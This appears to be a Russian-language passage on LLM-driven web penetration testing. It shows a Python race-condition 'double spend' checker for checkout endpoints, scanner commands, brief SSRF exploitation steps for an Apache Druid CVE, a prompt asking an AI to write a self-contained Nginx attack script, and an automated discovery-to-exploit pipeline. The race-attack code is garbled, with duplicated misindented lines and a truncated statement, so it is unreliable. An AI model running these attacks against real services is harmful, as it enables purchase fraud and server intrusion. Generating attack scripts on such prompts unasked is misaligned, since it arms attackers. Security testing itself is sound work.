x2 → 2 items, 1 payment.

# Escape Agent pattern (адаптируйте)
class RaceAgent:
    def test_checkout(self, api_base):
        session = self.login("user")
        # Baseline
        resp1 = post(f"{api_base}/purchase", json={"item":123}, headers=session)
        
        # Race: parallel + timing < server debounce
        import asyncio
        async def race_attack():
            tasks = [post(f"{api_base}/purchase", json={"item":123}, headers=session) 
                    for _ in range(2)]
            return await asyncio.gather(*tasks, return_exceptions=True)
        
        results = asyncio.run(race_attack())
        if all(r.status==200 for r in results if not isinstance(r, Exception)):
            return {"severity": "CRITICAL", "poc": "double_spend"}

       return await asyncio.gather(*tasks, return_exceptions=True)
        
        results = a

# 1. Соберите OpenAPI вашего API
escape init myapi --spec checkout.yaml

# 2. Race condition template
escape scan --agent RaceAgent --endpoint /purchase --payloads '{"qty": [1,999]}'

# 3. Custom timing attacks
escape custom --script race_checkout.py

Короткие шаги эксплуатации CVE-2025-27888 в Apache Druid сводятся к использованию management proxy через специально сформированный URL для SSRF. Требуется аутентификация пользователя. Уязвимость позволяет перенаправлять запросы на произвольные серверы, что приводит к SSRF, open redirect и потенциально XSS/XSRF.

```text
You are a professional penetration tester and security researcher.
Создай self-contained Python-скрипт для теста Nginx уязвимостей (raw backend/CRLF/path traversal/PURGE/version leak/CVE).
TARGET RECON: HOST/IP, ports 80/443, nginx, known endpoints...
Скрипт сам запускается, выводит результаты в stdout, без аргументов и лишних зависимостей.
```

ПРИМЕР: Анализ переносится в LLM: она определяет совпадения между типом payload и паттерном диффа.
– SQL‑payload + новые табличные структуры или SQL‑ошибка → SQLi
– файловые пути, /etc/passwd, исходники → LFI/RFI
– отражённый HTML/JS без экранирования → XSS

Архитектура проста:
1. Сенсор фиксирует структурированные различия и флаги вида content_changed, http_error, sensitive_keyword_found;
2. Модель оценивает риски на уровне паттернов поведения.

Как это работает:
Фаза 1: Local discovery — парсит HTML, находит формы, кликабельные элементы, трекает in_vuln_area, in_main_body, пути обнаружения (html > body > div.vulnerable_code_area > form > input[name='id']).
Фаза 2: LLM‑генерация сенсора — модель пишет Python‑скрипт для безопасного тестирования обнаруженных параметров (1, 42, test, empty).
Фаза 3: Автофикс — если сенсор упал, модель чинит его по stderr.
Фаза 4: Анализ — LLM выдаёт готовый отчёт с FINDING #N и exploitation guidance.

URL: https://tinrae.ru/.../sqli/
Parameter: id
Discovery Path: html > body.home.light > div#container > div#main_body > div.vulnerable_code_area > form > input[name='id']

URL → структурированный discovery → поведенческие тесты → готовые векторы exploitation.